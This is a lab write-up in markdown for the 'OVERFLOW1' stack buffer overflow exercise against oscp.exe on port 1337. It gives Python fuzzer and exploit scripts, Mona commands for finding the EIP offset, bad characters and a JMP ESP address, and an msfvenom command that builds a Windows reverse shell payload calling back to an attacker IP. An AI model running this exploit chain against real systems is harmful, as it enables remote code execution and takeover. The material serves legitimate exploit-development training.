Skip to content

Latest commit

 

History

History
403 lines (273 loc) · 14 KB

overflow1.md

File metadata and controls

403 lines (273 loc) · 14 KB
description

OVERFLOW1

Methodology

1. Spiking or Playing with the program

2. Fuzzing

3. Controlling the EIP

4. Finding Bad Characters

5. Finding a Jump Point

6. Generating a Payload

7. "NOP Sledding"

8. Exploitation

Getting Started

  1. Deploy VM: xfreerdp /u:admin /p:password /cert:ignore /v:10.10.253.98 /workarea
  2. Open Immunity Debugger as Admin
  3. Load oscp.exe into the program
  4. Run the program: Press F9

"Spiking or Playing"

  • Here is where we see what the program is capable of
  • Make note of what it can and can't do
  • Is there anything that we can do out of the gate to break the program?
  • Is there anything weird about it?
  • One way we can do this is by connecting to the hosted program via netcat

Netcat

  • We notice that it is running on port 1337
  • So, why not connect to it from Kali on port 1337?

Mona Configuration

Place the following into the debugger window of Immunity:

!mona config -set workingfolder c:\mona\%p

Fuzzing

  • Create a file on Kali called 00fuzzer.py with the following contents:
#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.253.98"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

What does this script do?

  • This fuzzer will send an increasingly long string of "A's"
  • If the fuzzer is able to crash the program with that set of strings, the fuzzer will exit with an error message
  • MAKE A NOTE OF THE LARGEST NUMBER OF BYTES THAT WERE SENT

Running the script

  • We get an error message that the fuzzing crashed at 2000 bytes

Crash Replication and Controlling EIP

  • Create a file on Kali called 01exploit.py with the following contents:
import socket

ip = "10.10.253.98"
port = 1337

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

msf_pattern_create

  • We will now utilize a Metasploit module to generate a pattern that is a length of 400 bytes LONGER than the string that crashed the program
  • This is because the payload after that will still need to take up space in memory!
  • We choose 2400 bytes because the program crashed at 2000

Use the following command to generate your pattern:

msf-pattern_create -l 2400

  • We will now take this long string of characters and place it in the payload section of 01exploit.py
  • Return to Immunity Debugger. Since the program has crashed, press the double arrow button to restart the program, now press the play button to start the program
  • Now that the program is running and we have modified our script with the payload, it is time to run it

  • If you made it this far, this is a great sign. Check Immunity and look at the bottom for the following:

Access Violation when executing [6F43396E]

EIP

  • We see in the CPU Registers window that EIP has been changed

Find the distance from EIP

  • There are 2 ways of doing this, with msf-pattern_offset and Mona
  • We will be using Mona here

Place the following into the debug window in Immunity:

!mona findmsp -distance 600
  • Once we execute this, we are looking for the offset value

That can be seen in the following screenshot:

  • Be sure to right-click > Appearance > Font -- and change the font size as needed
  • We see that our offset value is 1978
  • Go back to your 01exploit.py
  • Add 1978 into the payload section. Remove the entire payload string and replace with ""
  • Now, we are ready for the next step

Finding Bad Characters

  • These are characters from initial processing of the string by the server/app
  • When these characters are detected, it modified the buffer in someway and makes everything behave in weird ways
  • This can be any character
  • NOTE: \x00 is always bad as it is a "nullbyte"

Generate a string of bad chars from \x01 to \xff with this script:

02badchars.py

for x in range(1, 256):
  print("\\x" + "{:02x}".format(x), end='')
print()
  • Run the script
  • Copy the string
  • Go back and modify 01exploit.py
  • Place the string in the payload section
  • Place four B's in the retn section as this will overwrite the EIP with four B's

Example:

  • Once you have modified the script, go back to Immunity and restart the program and press play
  • Go back to Kali and run the exploit

  • In the CPU Register window you will see that the EIP has been overwritten with "42424242"

  • You will also see on the bottom of Immunity that an Access violation occurred when executing [42424242]
  • Now, right-click the ESP in the CPU Registers window, "follow in dump", and you will now see a Hex Dump in the bottom-left corner of Immunity
  • You are now looking for a sequence of out of order bytes
  • For example, it should go 01 02 03 04 05 06 07 0D (08)
    • See how this goes in order???
  • But, it goes like this 01 02 03 04 05 06 0A 0D (08)
    • However, with this one, 0A should be 07 but it is not.
  • Since we know that 07 is a bad character, we need to not include it
  • We can use Mona for this
!mona bytearray -b "\x00"

  • Select Window > 8 CPU

  • Find the ESP value and right-click and select "Copy selection to clipboard"

Now, use this Mona module with the ESP value that you just obtained:

!mona compare -f C:\mona\oscp\bytearray.bin -a <place-eip-here>

!mona compare -f C:\mona\oscp\bytearray.bin -a 0198FA30

  • This will come up with a list of bad chars
  • NOTE: Not all of these may be bad chars! Sometimes bad chars cause the next byte to get corrupted as well and effect the rest of the string
  • Go back to the Immunity debugger window and go back to the command with the bytearray

Add the \x07 bad char:

!mona bytearray -b "\x00\x07"

  • Restart the program
  • Press play button
  • Modify the 01exploit.py and remove the \x07 in the payload section but keep the rest

Original file with x07

x07 removed

  • Save the modified file
  • Run the exploit once more
  • The program will experience another access violation
  • We need to re-run the compare command of the ESP value
    • NOTE: Copy this value again, it is entirely possible that this can change!
!mona compare -f C:\mona\oscp\bytearray.bin -a 01A5FA30

  • From this, we see that 08 disappeared, so it is not actually a badchar
  • Select Window > CPU
  • Right-click ESP > Follow in Dump
  • We can now see that 08 appears and it did not skip so it is safe to assume that 07 was the issue
  • So, the 07 was causing the 08 byte to change
  • Perhaps that is what is happening to the other bytes as well
  • Now, remove the other bytes

Regenerate the byte array:

!mona bytearray -b "\x00\x07\x2e\xa0"
  • Restart the program
  • Press play button
  • Go back to the 01exploit.py script
  • Remove 2e and a0 from the payload (This info was obtained from the comparison tab)
  • Utilize ctrl + shift + F to search for these
  • Once removed, save the modified file
  • Run the exploit
  • The program will suffer another access violation
  • We need to do another compare of the ESP value
  • Right-click the ESP value > copy selection to clipboard

Run the following Mona compare command:

!mona compare -f C:\mona\oscp\bytearray.bin -a 01A2FA30
  • If we get a status of "unmodified", this means that the byte array that we generated matched exactly to the bytes that the address is pointing to. This means there are no more bad chars.

Finding a Jump Point

With the program running in a crashed or running state, run the following Mona command making sure that you include all of your found bad chars

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

  • You will see results that you can use for the next step. In this case, we get 9 pointers.
    • We will use the first one: 625011af
  • Go back to your 01exploit.py and modify it
  • We are modifying the retn value
  • Place the pointer address next to the retn value and comment it out if you want to
  • We will be replacing the retn value with the pointer value in little endian formatting which is backwards of the actual pointer address as you can see

  • Lastly, remove the payload and replace with ""

Your end script should look something like this:

  • Save the file
  • Go back to Immunity
  • Copy the address you are using

  • Select the circled button and paste in the value and hit enter
  • Right-click JMP ESP > Breakpoint > Toggle
  • Run the exploit again
  • You will notice that a breakpoint was triggered upon execution
  • NOTE: If this is not behaving correctly, restart the program and run through the steps once more

Generate Payload

We will utilize msfvenom

  • Be sure to utilize the correct architecture (Windows or Linux depending on your target)
  • Use your VPN IP address for the LHOST
  • Utilize the bad chars for EXITFUNC
msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00" -f c

msfvenom -p windows/shell_reverse_tcp LHOST=10.6.111.208 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

  • Copy the shell code only
  • Open 01exploit.py

  • Save the file

Prepend NOPs

  • Since we used an encoder with msfvenom, we need to add some space in memory for the payload to be able to unpack
  • This is also called a "NOP slide"
  • Open 01exploit.py
  • We need to modify the padding value

  • Save the file once it is added

Exploitation

  • Start a netcat listener on the port specified in the payload
  • Restart the program
  • Select the play button
  • Go back to your exploit and run it
  • You should have a shell